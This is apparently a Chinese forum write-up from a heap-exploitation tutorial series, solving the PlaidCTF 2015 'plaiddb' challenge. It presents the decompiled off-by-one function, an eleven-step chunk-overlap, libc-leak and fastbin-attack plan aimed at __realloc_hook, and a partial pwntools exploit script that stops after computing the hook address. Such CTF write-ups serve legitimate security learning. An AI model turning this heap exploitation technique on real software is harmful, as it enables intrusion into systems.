堆入门系列教程1
序言:第二题,研究了两天,其中有小猪师傅,m4x师傅,萝卜师傅等各个师傅指点我,这次又踩了几个坑,相信以后不会再犯,第二题感觉比第一题复杂许多,不是off-by-one的问题,是这种攻击方式的问题,这种攻击方式十分精妙,chunk overlap,堆块重叠,这种攻击方式我也是第一次见,复现起来难度也是有滴

off-by-one第二题

此题也是off-by-one里的一道题目,让我再次意识到off by one在堆里的强大之处

plaidctf 2015 plaiddb

前面的功能分析和数据结构分析我就不再做了,ctf-wiki上给的清楚了,然后网上各种wp也给的清楚了,我没逆向过红黑树,也没写过,所以具体结构我也不清楚,照着师傅们的来,确实是树

数据结构

struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}

这个函数存在off-by-one

char *sub_1040()
{
  char *v0; // r12
  char *v1; // rbx
  size_t v2; // r14
  char v3; // al
  char v4; // bp
  signed __int64 v5; // r13
  char *v6; // rax

  v0 = malloc(8uLL);
  v1 = v0;
  v2 = malloc_usable_size(v0);
  while ( 1 )
  {
    v3 = _IO_getc(stdin);
    v4 = v3;
    if ( v3 == -1 )
      sub_1020();
    if ( v3 == 10 )
      break;
    v5 = v1 - v0;
    if ( v2 <= v1 - v0 )
    {
      v6 = realloc(v0, 2 * v2);
      v0 = v6;
      if ( !v6 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      v1 = &v6[v5];
      v2 = malloc_usable_size(v6);
    }
    *v1++ = v4;
  }
  *v1 = 0;//off-by-one
  return v0;
}

然后师傅们利用堆块的重叠进行泄露地址,然后覆盖fd指针,然后fastbin attack,简单的说就是这样,先说明下整体攻击过程

  1. 先删掉初始存在的堆块 th3fl4g,方便后续堆的布置及对齐
  2. 创建堆块,为后续做准备在创建同key堆块的时候,会删去上一个同key堆块
  3. 利用off-by-one覆盖下个chunk的pre_size,这里必须是0x18,0x38,0x78这种递增的,他realloc是按倍数递增的,如果我们用了0x18大小的key的话,会将下一个chunk的pre_size部分当数据块来用,在加上off-by-one覆盖掉size的insue位
  4. 先free掉第一块,为后续大堆块做准备
  5. 然后free第三块,这时候会向后合并堆块,根据pre_size合并成大堆块造成堆块重叠,这时候可以泄露地址了
  6. 申请堆块填充空间至chunk2
  7. chunk2上为main_arena,泄露libc地址
  8. 现在堆块是重叠的,chunk3在我们free后的大堆块里,然后修改chunk3的fd指针指向realloc_hook
  9. 不破坏现场(不容易)
  10. malloc一次,在malloc一次,这里有个点要注意,需要错位伪造size,因为fastbin有个checksize,我们这里将前面的0x7f错位,后面偏移也要补上
  11. 最后改掉后,在调用一次getshell

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'datastore'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    #context.log_level = 'debug'
    try:
        p = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# FORTIFY:  Enabled
#!/usr/bin/env python


def GET(key):
    p.sendline("GET")
    p.recvline("PROMPT: Enter row key:")
    p.sendline(key)

def PUT(key, size, data):
    p.sendline("PUT")
    p.recvline("PROMPT: Enter row key:")
    p.sendline(key)
    p.recvline("PROMPT: Enter data size:")
    p.sendline(str(size))
    p.recvline("PROMPT: Enter data:")
    p.send(data)

def DUMP():
    p.sendline("DUMP")

def DEL(key):
    p.sendline("DEL")
    p.recvline("PROMPT: Enter row key:")
    p.sendline(key)

def exp():
    libc = ELF('libc.so.6')
    system_off = libc.symbols['system']
    realloc_hook_off = libc.symbols['__realloc_hook']

    DEL("th3fl4g")

    PUT("1"*0x8, 0x80, 'A'*0x80)
    PUT("2"*0x8, 0x18, 'B'*0x18)
    PUT("3"*0x8, 0x60, 'C'*0x60)
    PUT("3"*0x8, 0xf0, 'C'*0xf0)
    PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20)  # off by one

    DEL("1"*0x8)
    DEL("3"*0x8)

    PUT("a", 0x88, p8(0)*0x88)
    DUMP()

    p.recvuntil("INFO: Dumping all rows.\n")
    temp = p.recv(11)
    heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0
    libc_base = int(p.recvline()[3:-7])-0x3be7b8

    log.info("heap_base: " + hex(heap_base))
    log.info("libc_base: " + hex(libc_base))
    realloc_hook_addr = libc_base + realloc_hook_off
点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖